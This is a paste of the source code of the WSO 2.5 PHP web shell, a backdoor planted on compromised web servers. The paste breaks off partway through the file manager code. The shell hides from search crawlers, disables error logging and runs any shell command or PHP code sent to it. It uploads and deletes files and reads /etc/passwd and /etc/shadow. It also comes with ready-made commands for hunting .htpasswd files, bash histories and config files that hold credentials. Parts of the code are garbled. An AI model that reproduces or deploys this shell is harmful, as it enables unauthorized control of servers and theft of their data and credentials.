· 6 years ago · Sep 26, 2019, 05:22 AM
1<?php ?><?php
2$auth_pass = "a23943a5edc56f796ea1aeeb57f78dd4";
3$color = "#df5";
4$default_action = 'FilesMan';
5$default_use_ajax = true;
6$default_charset = 'Windows-1251';
7if (!empty($_SERVER['HTTP_USER_AGENT'])) {
8 $userAgents = array("Google", "Slurp", "MSNBot", "ia_archiver", "Yandex", "Rambler");
9 if (preg_match('/' . implode('|', $userAgents) . '/i', $_SERVER['HTTP_USER_AGENT'])) {
10 header('HTTP/1.0 404 Not Found');
11 exit;
12 }
13}
14@ini_set('error_log', NULL);
15@ini_set('log_errors', 0);
16@ini_set('max_execution_time', 0);
17@set_time_limit(0);
18@set_magic_quotes_runtime(0);
19@define('WSO_VERSION', '2.5');
20if (get_magic_quotes_gpc()) {
21 function WSOstripslashes($array) {
22 return is_array($array) ? array_map('WSOstripslashes', $array) : stripslashes($array);
23 }
24 $_POST = WSOstripslashes($_POST);
25 $_COOKIE = WSOstripslashes($_COOKIE);
26}
27function wsoLogin() {
28 die("<pre align=center><form method=post> <input type=password name=pass><input type=submit value='>>'></form></pre>");
29}
30function WSOsetcookie($k, $v) {
31 $_COOKIE[$k] = $v;
32 setcookie($k, $v);
33}
34if (!empty($auth_pass)) {
35 if (isset($_POST['pass']) && (md5($_POST['pass']) == $auth_pass)) WSOsetcookie(md5($_SERVER['HTTP_HOST']), $auth_pass);
36 if (!isset($_COOKIE[md5($_SERVER['HTTP_HOST']) ]) || ($_COOKIE[md5($_SERVER['HTTP_HOST']) ] != $auth_pass)) wsoLogin();
37}
38if (strtolower(substr(PHP_OS, 0, 3)) == "win") $os = 'win';
39else $os = 'nix';
40$safe_mode = @ini_get('safe_mode');
41if (!$safe_mode) error_reporting(0);
42$disable_functions = @ini_get('disable_functions');
43$home_cwd = @getcwd();
44if (isset($_POST['c'])) @chdir($_POST['c']);
45$cwd = @getcwd();
46if ($os == 'win') {
47 $home_cwd = str_replace("\", " / ", $home_cwd);
48 $cwd = str_replace("\", " / ", $cwd);
49}
50if($cwd[strlen($cwd) - 1] != '/')
51 $cwd .= '/';
52
53if(!isset($_COOKIE[md5($_SERVER['HTTP_HOST']) . 'ajax']))
54 $_COOKIE[md5($_SERVER['HTTP_HOST']) . 'ajax'] = (bool)$default_use_ajax;
55
56if($os == 'win')
57 $aliases = array(
58 "ListDirectory" => "dir",
59 "Findindex . phpincurrentdir" => "dir / s / w / bindex . php",
60 "Find * config * . phpincurrentdir" => "dir / s / w / b * config * . php",
61 "Showactiveconnections" => "netstat - an",
62 "Showrunningservices" => "netstart",
63 "Useraccounts" => "netuser",
64 "Showcomputers" => "netview",
65 "ARPTable" => "arp - a",
66 "IPConfiguration" => "ipconfig / all"
67 );
68else
69 $aliases = array(
70 "Listdir" => "ls - lha",
71 "listfileattributesonaLinuxsecondextendedfilesystem" => "lsattr - va",
72 "showopenedports" => "netstat - an | grep - ilisten",
73 "processstatus" => "psaux",
74 "Find" => "",
75 "findallsuidfiles" => "find / -typef - perm - 04000 - ls",
76 "findsuidfilesincurrentdir" => "find . -typef - perm - 04000 - ls",
77 "findallsgidfiles" => "find / -typef - perm - 02000 - ls",
78 "findsgidfilesincurrentdir" => "find . -typef - perm - 02000 - ls",
79 "findconfig . inc . phpfiles" => "find / -typef - nameconfig . inc . php",
80 "findconfig * files" => "find / -typef - name\"config*\"", "find config* files in current dir" => "find . -type f -name \"config*\"", "find all writable folders and files" => "find / -perm -2 -ls", "find all writable folders and files in current dir" => "find . -perm -2 -ls", "find all service.pwd files" => "find / -type f -name service.pwd", "find service.pwd files in current dir" => "find . -type f -name service.pwd", "find all .htpasswd files" => "find / -type f -name .htpasswd", "find .htpasswd files in current dir" => "find . -type f -name .htpasswd", "find all .bash_history files" => "find / -type f -name .bash_history", "find .bash_history files in current dir" => "find . -type f -name .bash_history", "find all .fetchmailrc files" => "find / -type f -name .fetchmailrc", "find .fetchmailrc files in current dir" => "find . -type f -name .fetchmailrc", "Locate" => "", "locate httpd.conf files" => "locate httpd.conf", "locate vhosts.conf files" => "locate vhosts.conf", "locate proftpd.conf files" => "locate proftpd.conf", "locate psybnc.conf files" => "locate psybnc.conf", "locate my.conf files" => "locate my.conf", "locate admin.php files" => "locate admin.php", "locate cfg.php files" => "locate cfg.php", "locate conf.php files" => "locate conf.php", "locate config.dat files" => "locate config.dat", "locate config.php files" => "locate config.php", "locate config.inc files" => "locate config.inc", "locate config.inc.php" => "locate config.inc.php", "locate config.default.php files" => "locate config.default.php", "locate config* files " => "locate config", "locate .conf files" => "locate '.conf'", "locate .pwd files" => "locate '.pwd'", "locate .sql files" => "locate '.sql'", "locate .htpasswd files" => "locate '.htpasswd'", "locate .bash_history files" => "locate '.bash_history'", "locate .mysql_history files" => "locate '.mysql_history'", "locate .fetchmailrc files" => "locate '.fetchmailrc'", "locate backup files" => "locate backup", "locate dump files" => "locate dump", "locate priv files" => "locate priv");
81 function wsoHeader() {
82 if (empty($_POST['charset'])) $_POST['charset'] = $GLOBALS['default_charset'];
83 global $color;
84 echo "<html><head><meta http-equiv='Content-Type' content='text/html; charset=" . $_POST['charset'] . "'><title>" . $_SERVER['HTTP_HOST'] . " - WSO " . WSO_VERSION . "</title>
85<style>
86body{background-color:#444;color:#e1e1e1;}
87body,td,th{ font: 9pt Lucida,Verdana;margin:0;vertical-align:top;color:#e1e1e1; }
88table.info{ color:#fff;background-color:#222; }
89span,h1,a{ color: $color !important; }
90span{ font-weight: bolder; }
91h1{ border-left:5px solid $color;padding: 2px 5px;font: 14pt Verdana;background-color:#222;margin:0px; }
92div.content{ padding: 5px;margin-left:5px;background-color:#333; }
93a{ text-decoration:none; }
94a:hover{ text-decoration:underline; }
95.ml1{ border:1px solid #444;padding:5px;margin:0;overflow: auto; }
96.bigarea{ width:100%;height:300px; }
97input,textarea,select{ margin:0;color:#fff;background-color:#555;border:1px solid $color; font: 9pt Monospace,'Courier New'; }
98form{ margin:0px; }
99#toolsTbl{ text-align:center; }
100.toolsInp{ width: 300px }
101.main th{text-align:left;background-color:#5e5e5e;}
102.main tr:hover{background-color:#5e5e5e}
103.l1{background-color:#444}
104.l2{background-color:#333}
105pre{font-family:Courier,Monospace;}
106</style>
107<script>
108 var c_ = '" . htmlspecialchars($GLOBALS['cwd']) . "';
109 var a_ = '" . htmlspecialchars(@$_POST['a']) . "'
110 var charset_ = '" . htmlspecialchars(@$_POST['charset']) . "';
111 var p1_ = '" . ((strpos(@$_POST['p1'], "
112") !== false) ? '' : htmlspecialchars($_POST['p1'], ENT_QUOTES)) . "';
113 var p2_ = '" . ((strpos(@$_POST['p2'], "
114") !== false) ? '' : htmlspecialchars($_POST['p2'], ENT_QUOTES)) . "';
115 var p3_ = '" . ((strpos(@$_POST['p3'], "
116") !== false) ? '' : htmlspecialchars($_POST['p3'], ENT_QUOTES)) . "';
117 var d = document;
118 function set(a,c,p1,p2,p3,charset) {
119 if(a!=null)d.mf.a.value=a;else d.mf.a.value=a_;
120 if(c!=null)d.mf.c.value=c;else d.mf.c.value=c_;
121 if(p1!=null)d.mf.p1.value=p1;else d.mf.p1.value=p1_;
122 if(p2!=null)d.mf.p2.value=p2;else d.mf.p2.value=p2_;
123 if(p3!=null)d.mf.p3.value=p3;else d.mf.p3.value=p3_;
124 if(charset!=null)d.mf.charset.value=charset;else d.mf.charset.value=charset_;
125 }
126 function g(a,c,p1,p2,p3,charset) {
127 set(a,c,p1,p2,p3,charset);
128 d.mf.submit();
129 }
130 function a(a,c,p1,p2,p3,charset) {
131 set(a,c,p1,p2,p3,charset);
132 var params = 'ajax=true';
133 for(i=0;i<d.mf.elements.length;i++)
134 params += '&'+d.mf.elements[i].name+'='+encodeURIComponent(d.mf.elements[i].value);
135 sr('" . addslashes($_SERVER['REQUEST_URI']) . "', params);
136 }
137 function sr(url, params) {
138 if (window.XMLHttpRequest)
139 req = new XMLHttpRequest();
140 else if (window.ActiveXObject)
141 req = new ActiveXObject('Microsoft.XMLHTTP');
142 if (req) {
143 req.onreadystatechange = processReqChange;
144 req.open('POST', url, true);
145 req.setRequestHeader ('Content-Type', 'application/x-www-form-urlencoded');
146 req.send(params);
147 }
148 }
149 function processReqChange() {
150 if( (req.readyState == 4) )
151 if(req.status == 200) {
152 var reg = new RegExp(\"(\d+)([\S\s]*)\", 'm');
153 var arr=reg.exec(req.responseText);
154 eval(arr[2].substr(0, arr[1]));
155 } else alert('Request error!');
156 }
157</script>
158<head><body><div style='position:absolute;width:100%;background-color:#444;top:0;left:0;'>
159<form method=post name=mf style='display:none;'>
160<input type=hidden name=a>
161<input type=hidden name=c>
162<input type=hidden name=p1>
163<input type=hidden name=p2>
164<input type=hidden name=p3>
165<input type=hidden name=charset>
166</form>";
167 $freeSpace = @diskfreespace($GLOBALS['cwd']);
168 $totalSpace = @disk_total_space($GLOBALS['cwd']);
169 $totalSpace = $totalSpace ? $totalSpace : 1;
170 $release = @php_uname('r');
171 $kernel = @php_uname('s');
172 $explink = 'http://exploit-db.com/search/?action=search&filter_description=';
173 if (strpos('Linux', $kernel) !== false) $explink.= urlencode('Linux Kernel ' . substr($release, 0, 6));
174 else $explink.= urlencode($kernel . ' ' . substr($release, 0, 3));
175 if (!function_exists('posix_getegid')) {
176 $user = @get_current_user();
177 $uid = @getmyuid();
178 $gid = @getmygid();
179 $group = "?";
180 } else {
181 $uid = @posix_getpwuid(posix_geteuid());
182 $gid = @posix_getgrgid(posix_getegid());
183 $user = $uid['name'];
184 $uid = $uid['uid'];
185 $group = $gid['name'];
186 $gid = $gid['gid'];
187 }
188 $cwd_links = '';
189 $path = explode("/", $GLOBALS['cwd']);
190 $n = count($path);
191 for ($i = 0;$i < $n - 1;$i++) {
192 $cwd_links.= "<a href='#' onclick='g(\"FilesMan\",\"";
193 for ($j = 0;$j <= $i;$j++) $cwd_links.= $path[$j] . '/';
194 $cwd_links.= "\")'>" . $path[$i] . "/</a>";
195 }
196 $charsets = array('UTF-8', 'Windows-1251', 'KOI8-R', 'KOI8-U', 'cp866');
197 $opt_charsets = '';
198 foreach ($charsets as $item) $opt_charsets.= '<option value="' . $item . '" ' . ($_POST['charset'] == $item ? 'selected' : '') . '>' . $item . '</option>';
199 $m = array('Sec. Info' => 'SecInfo', 'Files' => 'FilesMan', 'Console' => 'Console', 'Sql' => 'Sql', 'Php' => 'Php', 'String tools' => 'StringTools', 'Bruteforce' => 'Bruteforce', 'Network' => 'Network');
200 if (!empty($GLOBALS['auth_pass'])) $m['Logout'] = 'Logout';
201 $m['Self remove'] = 'SelfRemove';
202 $menu = '';
203 foreach ($m as $k => $v) $menu.= '<th width="' . (int)(100 / count($m)) . '%">[ <a href="#" onclick="g(\'' . $v . '\',null,\'\',\'\',\'\')">' . $k . '</a> ]</th>';
204 $drives = "";
205 if ($GLOBALS['os'] == 'win') {
206 foreach (range('c', 'z') as $drive) if (is_dir($drive . ':\'))
207 $drives .= ' < ahref = "#"onclick = "g(\'FilesMan\',\''.$drive.':/\')" > ['.$drive.'] < / a > ';
208 }
209 echo ' < tableclass = infocellpadding = 3cellspacing = 0width = 100 % > < tr > < tdwidth = 1 > < span > Uname: < br > User: < br > Php: < br > Hdd: < br > Cwd:
210 ' . ($GLOBALS['os'] == 'win'?' < br > Drives:
211 ':'') . ' < / span > < / td > '
212 . ' < td > < nobr > ' . substr(@php_uname(), 0, 120) . ' < ahref = "' . $explink . '"target = _blank > [exploit - db . com] < / a > < / nobr > < br > ' . $uid . '(' . $user . ') < span > Group: < / span > ' . $gid . '(' . $group . ') < br > ' . @phpversion() . ' < span > Safemode: < / span > ' . ($GLOBALS['safe_mode']?' < fontcolor = red > ON < / font > ':' < fontcolor = green > < b > OFF < / b > < / font > ')
213 . ' < ahref = # onclick="g(\'Php\',null,\'\',\'info\')">[ phpinfo ]</a> <span>Datetime:</span> ' . date('Y-m-d H:i:s') . '<br>' . wsoViewSize($totalSpace) . ' <span>Free:</span> ' . wsoViewSize($freeSpace) . ' ('. (int) ($freeSpace/$totalSpace*100) . '%)<br>' . $cwd_links . ' '. wsoPermsColor($GLOBALS['cwd']) . ' <a href=# onclick="g(\'FilesMan\',\'' . $GLOBALS['home_cwd'] . '\',\'\',\'\',\'\')">[ home ]</a><br>' . $drives . '</td>'
214 . '<td width=1 align=right><nobr><select onchange="g(null,null,null,null,null,this.value)"><optgroup label="Page charset">' . $opt_charsets . '</optgroup></select><br><span>Server IP:</span><br>' . @$_SERVER["SERVER_ADDR"] . '<br><span>Client IP:</span><br>' . $_SERVER['REMOTE_ADDR'] . '</nobr></td></tr></table>' . '<table style="border-top:2px solid #333;" cellpadding=3 cellspacing=0 width=100%><tr>' . $menu . '</tr></table><div style="margin:5">';
215 }
216 function wsoFooter() {
217 $is_writable = is_writable($GLOBALS['cwd']) ? " <font color='green'>(Writeable)</font>" : " <font color=red>(Not writable)</font>";
218 echo "
219</div>
220<table class=info id=toolsTbl cellpadding=3 cellspacing=0 width=100% style='border-top:2px solid #333;border-bottom:2px solid #333;'>
221 <tr>
222 <td><form onsubmit='g(null,this.c.value,\"\");return false;'><span>Change dir:</span><br><input class='toolsInp' type=text name=c value='" . htmlspecialchars($GLOBALS['cwd']) . "'><input type=submit value='>>'></form></td>
223 <td><form onsubmit=\"g('FilesTools',null,this.f.value);return false;\"><span>Read file:</span><br><input class='toolsInp' type=text name=f><input type=submit value='>>'></form></td>
224 </tr><tr>
225 <td><form onsubmit=\"g('FilesMan',null,'mkdir',this.d.value);return false;\"><span>Make dir:</span>$is_writable<br><input class='toolsInp' type=text name=d><input type=submit value='>>'></form></td>
226 <td><form onsubmit=\"g('FilesTools',null,this.f.value,'mkfile');return false;\"><span>Make file:</span>$is_writable<br><input class='toolsInp' type=text name=f><input type=submit value='>>'></form></td>
227 </tr><tr>
228 <td><form onsubmit=\"g('Console',null,this.c.value);return false;\"><span>Execute:</span><br><input class='toolsInp' type=text name=c value=''><input type=submit value='>>'></form></td>
229 <td><form method='post' ENCTYPE='multipart/form-data'>
230 <input type=hidden name=a value='FilesMAn'>
231 <input type=hidden name=c value='" . $GLOBALS['cwd'] . "'>
232 <input type=hidden name=p1 value='uploadFile'>
233 <input type=hidden name=charset value='" . (isset($_POST['charset']) ? $_POST['charset'] : '') . "'>
234 <span>Upload file:</span>$is_writable<br><input class='toolsInp' type=file name=f><input type=submit value='>>'></form><br ></td>
235 </tr></table></div></body></html>";
236 }
237 if (!function_exists("posix_getpwuid") && (strpos($GLOBALS['disable_functions'], 'posix_getpwuid') === false)) {
238 function posix_getpwuid($p) {
239 return false;
240 }
241 }
242 if (!function_exists("posix_getgrgid") && (strpos($GLOBALS['disable_functions'], 'posix_getgrgid') === false)) {
243 function posix_getgrgid($p) {
244 return false;
245 }
246 }
247 function wsoEx($in) {
248 $out = '';
249 if (function_exists('exec')) {
250 @exec($in, $out);
251 $out = @join("
252", $out);
253 } elseif (function_exists('passthru')) {
254 ob_start();
255 @passthru($in);
256 $out = ob_get_clean();
257 } elseif (function_exists('system')) {
258 ob_start();
259 @system($in);
260 $out = ob_get_clean();
261 } elseif (function_exists('shell_exec')) {
262 $out = shell_exec($in);
263 } elseif (is_resource($f = @popen($in, "r"))) {
264 $out = "";
265 while (!@feof($f)) $out.= fread($f, 1024);
266 pclose($f);
267 }
268 return $out;
269 }
270 function wsoViewSize($s) {
271 if (is_int($s)) $s = sprintf("%u", $s);
272 if ($s >= 1073741824) return sprintf('%1.2f', $s / 1073741824) . ' GB';
273 elseif ($s >= 1048576) return sprintf('%1.2f', $s / 1048576) . ' MB';
274 elseif ($s >= 1024) return sprintf('%1.2f', $s / 1024) . ' KB';
275 else return $s . ' B';
276 }
277 function wsoPerms($p) {
278 if (($p & 0xC000) == 0xC000) $i = 's';
279 elseif (($p & 0xA000) == 0xA000) $i = 'l';
280 elseif (($p & 0x8000) == 0x8000) $i = '-';
281 elseif (($p & 0x6000) == 0x6000) $i = 'b';
282 elseif (($p & 0x4000) == 0x4000) $i = 'd';
283 elseif (($p & 0x2000) == 0x2000) $i = 'c';
284 elseif (($p & 0x1000) == 0x1000) $i = 'p';
285 else $i = 'u';
286 $i.= (($p & 0x0100) ? 'r' : '-');
287 $i.= (($p & 0x0080) ? 'w' : '-');
288 $i.= (($p & 0x0040) ? (($p & 0x0800) ? 's' : 'x') : (($p & 0x0800) ? 'S' : '-'));
289 $i.= (($p & 0x0020) ? 'r' : '-');
290 $i.= (($p & 0x0010) ? 'w' : '-');
291 $i.= (($p & 0x0008) ? (($p & 0x0400) ? 's' : 'x') : (($p & 0x0400) ? 'S' : '-'));
292 $i.= (($p & 0x0004) ? 'r' : '-');
293 $i.= (($p & 0x0002) ? 'w' : '-');
294 $i.= (($p & 0x0001) ? (($p & 0x0200) ? 't' : 'x') : (($p & 0x0200) ? 'T' : '-'));
295 return $i;
296 }
297 function wsoPermsColor($f) {
298 if (!@is_readable($f)) return '<font color=#FF0000>' . wsoPerms(@fileperms($f)) . '</font>';
299 elseif (!@is_writable($f)) return '<font color=white>' . wsoPerms(@fileperms($f)) . '</font>';
300 else return '<font color=#25ff00>' . wsoPerms(@fileperms($f)) . '</font>';
301 }
302 function wsoScandir($dir) {
303 if (function_exists("scandir")) {
304 return scandir($dir);
305 } else {
306 $dh = opendir($dir);
307 while (false !== ($filename = readdir($dh))) $files[] = $filename;
308 return $files;
309 }
310 }
311 function wsoWhich($p) {
312 $path = wsoEx('which ' . $p);
313 if (!empty($path)) return $path;
314 return false;
315 }
316 function actionSecInfo() {
317 wsoHeader();
318 echo '<h1>Server security information</h1><div class=content>';
319 function wsoSecParam($n, $v) {
320 $v = trim($v);
321 if ($v) {
322 echo '<span>' . $n . ': </span>';
323 if (strpos($v, "
324") === false) echo $v . '<br>';
325 else echo '<pre class=ml1>' . $v . '</pre>';
326 }
327 }
328 wsoSecParam('Server software', @getenv('SERVER_SOFTWARE'));
329 if (function_exists('apache_get_modules')) wsoSecParam('Loaded Apache modules', implode(', ', apache_get_modules()));
330 wsoSecParam('Disabled PHP Functions', $GLOBALS['disable_functions'] ? $GLOBALS['disable_functions'] : 'none');
331 wsoSecParam('Open base dir', @ini_get('open_basedir'));
332 wsoSecParam('Safe mode exec dir', @ini_get('safe_mode_exec_dir'));
333 wsoSecParam('Safe mode include dir', @ini_get('safe_mode_include_dir'));
334 wsoSecParam('cURL support', function_exists('curl_version') ? 'enabled' : 'no');
335 $temp = array();
336 if (function_exists('mysql_get_client_info')) $temp[] = "MySql (" . mysql_get_client_info() . ")";
337 if (function_exists('mssql_connect')) $temp[] = "MSSQL";
338 if (function_exists('pg_connect')) $temp[] = "PostgreSQL";
339 if (function_exists('oci_connect')) $temp[] = "Oracle";
340 wsoSecParam('Supported databases', implode(', ', $temp));
341 echo '<br>';
342 if ($GLOBALS['os'] == 'nix') {
343 wsoSecParam('Readable /etc/passwd', @is_readable('/etc/passwd') ? "yes <a href='#' onclick='g(\"FilesTools\", \"/etc/\", \"passwd\")'>[view]</a>" : 'no');
344 wsoSecParam('Readable /etc/shadow', @is_readable('/etc/shadow') ? "yes <a href='#' onclick='g(\"FilesTools\", \"/etc/\", \"shadow\")'>[view]</a>" : 'no');
345 wsoSecParam('OS version', @file_get_contents('/proc/version'));
346 wsoSecParam('Distr name', @file_get_contents('/etc/issue.net'));
347 if (!$GLOBALS['safe_mode']) {
348 $userful = array('gcc', 'lcc', 'cc', 'ld', 'make', 'php', 'perl', 'python', 'ruby', 'tar', 'gzip', 'bzip', 'bzip2', 'nc', 'locate', 'suidperl');
349 $danger = array('kav', 'nod32', 'bdcored', 'uvscan', 'sav', 'drwebd', 'clamd', 'rkhunter', 'chkrootkit', 'iptables', 'ipfw', 'tripwire', 'shieldcc', 'portsentry', 'snort', 'ossec', 'lidsadm', 'tcplodg', 'sxid', 'logcheck', 'logwatch', 'sysmask', 'zmbscap', 'sawmill', 'wormscan', 'ninja');
350 $downloaders = array('wget', 'fetch', 'lynx', 'links', 'curl', 'get', 'lwp-mirror');
351 echo '<br>';
352 $temp = array();
353 foreach ($userful as $item) if (wsoWhich($item)) $temp[] = $item;
354 wsoSecParam('Userful', implode(', ', $temp));
355 $temp = array();
356 foreach ($danger as $item) if (wsoWhich($item)) $temp[] = $item;
357 wsoSecParam('Danger', implode(', ', $temp));
358 $temp = array();
359 foreach ($downloaders as $item) if (wsoWhich($item)) $temp[] = $item;
360 wsoSecParam('Downloaders', implode(', ', $temp));
361 echo '<br/>';
362 wsoSecParam('HDD space', wsoEx('df -h'));
363 wsoSecParam('Hosts', @file_get_contents('/etc/hosts'));
364 echo '<br/><span>posix_getpwuid ("Read" /etc/passwd)</span><table><form onsubmit=\'g(null,null,"5",this.param1.value,this.param2.value);return false;\'><tr><td>From</td><td><input type=text name=param1 value=0></td></tr><tr><td>To</td><td><input type=text name=param2 value=1000></td></tr></table><input type=submit value=">>"></form>';
365 if (isset($_POST['p2'], $_POST['p3']) && is_numeric($_POST['p2']) && is_numeric($_POST['p3'])) {
366 $temp = "";
367 for (;$_POST['p2'] <= $_POST['p3'];$_POST['p2']++) {
368 $uid = @posix_getpwuid($_POST['p2']);
369 if ($uid) $temp.= join(':', $uid) . "
370";
371 }
372 echo '<br/>';
373 wsoSecParam('Users', $temp);
374 }
375 }
376 } else {
377 wsoSecParam('OS Version', wsoEx('ver'));
378 wsoSecParam('Account Settings', wsoEx('net accounts'));
379 wsoSecParam('User Accounts', wsoEx('net user'));
380 }
381 echo '</div>';
382 wsoFooter();
383 }
384 function actionPhp() {
385 if (isset($_POST['ajax'])) {
386 WSOsetcookie(md5($_SERVER['HTTP_HOST']) . 'ajax', true);
387 ob_start();
388 eval($_POST['p1']);
389 $temp = "document.getElementById('PhpOutput').style.display='';document.getElementById('PhpOutput').innerHTML='" . addcslashes(htmlspecialchars(ob_get_clean()), "
390
391 \'") . "';
392";
393 echo strlen($temp), "
394", $temp;
395 exit;
396 }
397 if (empty($_POST['ajax']) && !empty($_POST['p1'])) WSOsetcookie(md5($_SERVER['HTTP_HOST']) . 'ajax', 0);
398 wsoHeader();
399 if (isset($_POST['p2']) && ($_POST['p2'] == 'info')) {
400 echo '<h1>PHP info</h1><div class=content><style>.p {color:#000;}</style>';
401 ob_start();
402 phpinfo();
403 $tmp = ob_get_clean();
404 $tmp = preg_replace(array('!(body|a:\w+|body, td, th, h1, h2) {.*}!msiU', '!td, th {(.*)}!msiU', '!<img[^>]+>!msiU',), array('', '.e, .v, .h, .h th {$1}', ''), $tmp);
405 echo str_replace('<h1', '<h2', $tmp) . '</div><br>';
406 }
407 echo '<h1>Execution PHP-code</h1><div class=content><form name=pf method=post onsubmit="if(this.ajax.checked){a(\'Php\',null,this.code.value);}else{g(\'Php\',null,this.code.value,\'\');}return false;"><textarea name=code class=bigarea id=PhpCode>' . (!empty($_POST['p1']) ? htmlspecialchars($_POST['p1']) : '') . '</textarea><input type=submit value=Eval style="margin-top:5px">';
408 echo ' <input type=checkbox name=ajax value=1 ' . ($_COOKIE[md5($_SERVER['HTTP_HOST']) . 'ajax'] ? 'checked' : '') . '> send using AJAX</form><pre id=PhpOutput style="' . (empty($_POST['p1']) ? 'display:none;' : '') . 'margin-top:5px;" class=ml1>';
409 if (!empty($_POST['p1'])) {
410 ob_start();
411 eval($_POST['p1']);
412 echo htmlspecialchars(ob_get_clean());
413 }
414 echo '</pre></div>';
415 wsoFooter();
416 }
417 function actionFilesMan() {
418 if (!empty($_COOKIE['f'])) $_COOKIE['f'] = @unserialize($_COOKIE['f']);
419 if (!empty($_POST['p1'])) {
420 switch ($_POST['p1']) {
421 case 'uploadFile':
422 if (!@move_uploaded_file($_FILES['f']['tmp_name'], $_FILES['f']['name'])) echo "Can't upload file!";
423 break;
424 case 'mkdir':
425 if (!@mkdir($_POST['p2'])) echo "Can't create new dir";
426 break;
427 case 'delete':
428 function deleteDir($path) {
429 $path = (substr($path, -1) == '/') ? $path : $path . '/';
430 $dh = opendir($path);
431 while (($item = readdir($dh)) !== false) {
432 $item = $path . $item;
433 if ((basename($item) == "..") || (basename($item) == ".")) continue;
434 $type = filetype($item);
435 if ($type == "dir") deleteDir($item);
436 else @unlink($item);
437 }
438 closedir($dh);
439 @rmdir($path);
440 }
441 if (is_array(@$_POST['f'])) foreach ($_POST['f'] as $f) {
442 if ($f == '..') continue;
443 $f = urldecode($f);
444 if (is_dir($f)) deleteDir($f);
445 else @unlink($f);
446 }
447 break;
448 case 'paste':
449 if ($_COOKIE['act'] == 'copy') {
450 function copy_paste($c, $s, $d) {
451 if (is_dir($c . $s)) {
452 mkdir($d . $s);
453 $h = @opendir($c . $s);
454 while (($f = @readdir($h)) !== false) if (($f != ".") and ($f != "..")) copy_paste($c . $s . '/', $f, $d . $s . '/');
455 } elseif (is_file($c . $s)) @copy($c . $s, $d . $s);
456 }
457 foreach ($_COOKIE['f'] as $f) copy_paste($_COOKIE['c'], $f, $GLOBALS['cwd']);
458 } elseif ($_COOKIE['act'] == 'move') {
459 function move_paste($c, $s, $d) {
460 if (is_dir($c . $s)) {
461 mkdir($d . $s);
462 $h = @opendir($c . $s);
463 while (($f = @readdir($h)) !== false) if (($f != ".") and ($f != "..")) copy_paste($c . $s . '/', $f, $d . $s . '/');
464 } elseif (@is_file($c . $s)) @copy($c . $s, $d . $s);
465 }
466 foreach ($_COOKIE['f'] as $f) @rename($_COOKIE['c'] . $f, $GLOBALS['cwd'] . $f);
467 } elseif ($_COOKIE['act'] == 'zip') {
468 if (class_exists('ZipArchive')) {
469 $zip = new ZipArchive();
470 if ($zip->open($_POST['p2'], 1)) {
471 chdir($_COOKIE['c']);
472 foreach ($_COOKIE['f'] as $f) {
473 if ($f == '..') continue;
474 if (@is_file($_COOKIE['c'] . $f)) $zip->addFile($_COOKIE['c'] . $f, $f);
475 elseif (@is_dir($_COOKIE['c'] . $f)) {
476 $iterator = new RecursiveIteratorIterator(new RecursiveDirectoryIterator($f . '/', FilesystemIterator::SKIP_DOTS));
477 foreach ($iterator as $key => $value) {
478 $zip->addFile(realpath($key), $key);
479 }
480 }
481 }
482 chdir($GLOBALS['cwd']);
483 $zip->close();
484 }
485 }
486 } elseif ($_COOKIE['act'] == 'unzip') {
487 if (class_exists('ZipArchive')) {
488 $zip = new ZipArchive();
489 foreach ($_COOKIE['f'] as $f) {
490 if ($zip->open($_COOKIE['c'] . $f)) {
491 $zip->extractTo($GLOBALS['cwd']);
492 $zip->close();
493 }
494 }
495 }
496 } elseif ($_COOKIE['act'] == 'tar') {
497 chdir($_COOKIE['c']);
498 $_COOKIE['f'] = array_map('escapeshellarg', $_COOKIE['f']);
499 wsoEx('tar cfzv ' . escapeshellarg($_POST['p2']) . ' ' . implode(' ', $_COOKIE['f']));
500 chdir($GLOBALS['cwd']);
501 }
502 unset($_COOKIE['f']);
503 setcookie('f', '', time() - 3600);
504 break;
505 default:
506 if (!empty($_POST['p1'])) {
507 WSOsetcookie('act', $_POST['p1']);
508 WSOsetcookie('f', serialize(@$_POST['f']));
509 WSOsetcookie('c', @$_POST['c']);
510 }
511 break;
512 }
513 }
514 wsoHeader();
515 echo '<h1>File manager</h1><div class=content><script>p1_=p2_=p3_="";</script>';
516 $dirContent = wsoScandir(isset($_POST['c']) ? $_POST['c'] : $GLOBALS['cwd']);
517 if ($dirContent === false) {
518 echo 'Can\'t open this folder!';
519 wsoFooter();
520 return;
521 }
522 global $sort;
523 $sort = array('name', 1);
524 if (!empty($_POST['p1'])) {
525 if (preg_match('!s_([A-z]+)_(\d{1})!', $_POST['p1'], $match)) $sort = array($match[1], (int)$match[2]);
526 }
527 echo "<script>
528 function sa() {
529 for(i=0;i<d.files.elements.length;i++)
530 if(d.files.elements[i].type == 'checkbox')
531 d.files.elements[i].checked = d.files.elements[0].checked;
532 }
533</script>
534<table width='100%' class='main' cellspacing='0' cellpadding='2'>
535<form name=files method=post><tr><th width='13px'><input type=checkbox onclick='sa()' class=chkbx></th><th><a href='#' onclick='g(\"FilesMan\",null,\"s_name_" . ($sort[1] ? 0 : 1) . "\")'>Name</a></th><th><a href='#' onclick='g(\"FilesMan\",null,\"s_size_" . ($sort[1] ? 0 : 1) . "\")'>Size</a></th><th><a href='#' onclick='g(\"FilesMan\",null,\"s_modify_" . ($sort[1] ? 0 : 1) . "\")'>Modify</a></th><th>Owner/Group</th><th><a href='#' onclick='g(\"FilesMan\",null,\"s_perms_" . ($sort[1] ? 0 : 1) . "\")'>Permissions</a></th><th>Actions</th></tr>";
536 $dirs = $files = array();
537 $n = count($dirContent);
538 for ($i = 0;$i < $n;$i++) {
539 $ow = @posix_getpwuid(@fileowner($dirContent[$i]));
540 $gr = @posix_getgrgid(@filegroup($dirContent[$i]));
541 $tmp = array('name' => $dirContent[$i], 'path' => $GLOBALS['cwd'] . $dirContent[$i], 'modify' => date('Y-m-d H:i:s', @filemtime($GLOBALS['cwd'] . $dirContent[$i])), 'perms' => wsoPermsColor($GLOBALS['cwd'] . $dirContent[$i]), 'size' => @filesize($GLOBALS['cwd'] . $dirContent[$i]), 'owner' => $ow['name'] ? $ow['name'] : @fileowner($dirContent[$i]), 'group' => $gr['name'] ? $gr['name'] : @filegroup($dirContent[$i]));
542 if (@is_file($GLOBALS['cwd'] . $dirContent[$i])) $files[] = array_merge($tmp, array('type' => 'file'));
543 elseif (@is_link($GLOBALS['cwd'] . $dirContent[$i])) $dirs[] = array_merge($tmp, array('type' => 'link', 'link' => readlink($tmp['path'])));
544 elseif (@is_dir($GLOBALS['cwd'] . $dirContent[$i])) $dirs[] = array_merge($tmp, array('type' => 'dir'));
545 }
546 $GLOBALS['sort'] = $sort;
547 function wsoCmp($a, $b) {
